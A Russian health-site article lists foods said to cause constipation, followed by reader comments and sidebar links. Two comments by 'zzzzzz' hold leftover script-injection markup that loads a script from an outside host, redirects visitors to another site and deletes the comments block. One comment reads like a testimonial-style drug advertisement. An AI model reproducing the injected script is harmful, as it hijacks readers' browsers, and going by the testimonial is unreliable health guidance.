Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Продукты, вызывающие запо...  >>  Продукты, вызывающие запор
 
Обратная связь
 

Продукты, вызывающие запор

Размер шрифта
19 ноября 2013 00:00
Юрий Малышев
Здоровье инфо
Екатерина Иванникова
Здоровье инфо
  • google_analytics: false
  • Нравится

Если вам «до боли» знакомы проблемы с запорами, вам следует обратить внимание на свой рацион. Самые обычные и любимые продукты могут вызывать проблемы с опорожнением.

Продукты, вызывающие запор

Шоколад

Любимое всеми лакомство не только улучшает настроение, но может привести к набору веса и нарушению работы кишечника. Ученые считают, что большое количество жира в шоколаде замедляет процесс пищеварения. Замедление перистальтики кишечника приводит к проблемам с опорожнением, брожению пищи и чрезмерному газообразованию. В немецком исследовании проводилось анкетирование среди лиц, страдающих запорами. И наиболее частой причиной их вызывавших пациенты указывали потребление шоколада.
Молочные продукты

Молочные продукты, такие как молоко и сыр в больших количествах могут стать причиной запоров. Входящая в состав всех молочных продуктов лактоза увеличивает газообразование, что приводит к нарушению работы кишечника. Иранские врачи при обследовании детей в возрасте от 1 до 13 лет обнаружили, что наиболее частой причиной возникновения запоров было употребление молочных продуктов. При исключении из рациона молока и сыра, почти у всех детей (80% случаев), нормализовался стул и перестали беспокоить метеоризм и вздутие.  
Зеленые бананы

Бананызагадка для кишечника. Незрелые зеленые бананы вызывают запор, спелые действуют как слабительное. В зеленых бананах много крахмала, который сложнее переварить и на этот процесс требуется больше времени. А в желтых бананах, наоборот, меньше крахмала, но больше полезного пектина. Он выводит лишнюю жидкость из тканей, но если вы пьете мало воды, это может негативно отразиться на работе кишечника и только ухудшить ситуацию.
Кофеин

Кофеин действует на работу желудочного-кишечного тракта также, как и бананы. Кофеин является природным стимулятором, и перистальтика кишечника усиливается. Но если клетки вашего организма обезвожены, действие кофеина расценивается как негативное. Это чревато развитием запоров и многих других сопутствующих проблем со здоровьем.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

19 ноября 2013 в 21:03

Цитировать   |   Пожаловаться

DAVAITE SSILKI NA VASHI STAT''I,  NA OSNOVANII KAKIH ISSLEDOVANIY SDELANI TE ILI INIYE VIVODI I GDE BILI IZNACHALNO NAPECHATANI RESULTATI TEH ISSLEDOVANIY, KOTORIYE VI TSITIRUYETE V  VASHIH INFORMATSIYAH.

2 - Гость

04 октября 2014 в 19:28

Цитировать   |   Пожаловаться

Ну вот, как раз то что я очень люблю кофе и шоколад. 

3 - Гость

28 октября 2014 в 00:25

Цитировать   |   Пожаловаться

Спасибо за полезную статью. Мне при запорах очень хорошо помогают свечи

4 - zzzzzz

30 июня 2015 в 18:53

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

5 - zzzzzz

30 июня 2015 в 22:52

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

6 - izabella333

12 апреля 2016 в 08:00

Цитировать   |   Пожаловаться

очень много пью кофе и ем шоколад

7 - Гость

14 сентября 2016 в 15:49

Цитировать   |   Пожаловаться

Замечательная статья, все понятно расписано.

8 - Гость

16 сентября 2016 в 17:34

Цитировать   |   Пожаловаться

Поверить в это не могу, мой любимый шоколад вызывает запоры, да еще и молоко тут написано. Как раз ищу статьи где написано, как надо избавляться от запора. Что то они у меня последнее время начали часто появляться Но просмотрев все статьи поняла, что не хочу сидеть на диете. Такие вкусности исключать, поэтому решила поискать какие-нибудь таблетки в интернете и увидела, что  какой то мальчик в отзыве рассказывал, типа ему там тримедат помогает. Сейчас пока принимаю третий день, но уже почувствовала, что в животе появилась легкость, нет никакой зажатости или нагрузки. Запоры уходят постепенно в туалет стало ходить намного проще.

Статьи

       
Выпил кофе – жить охота! Кофе снижает риск самоубийства!   Как провести отпуск без запора?   Как выспаться ВСЕГО за 20 минут   Какой напиток лучший для сосудов?!  
26 июня 2013Что пить, чтобы не было рака груди? 01 ноября 2013ИНВИТРО – «Марка №1» в России
 
21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт» 11 октября 2013Елена Малышева расскажет все о том, как правильно худеть
 

Слайдшоу

1
Как похудеть, ничего не делая
Чем накормить мужчину для эрекции
Почему я так хочу это съесть?

Тесты

1
Кофеин вызывает зависимость?
Будет ли у вас инфаркт?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.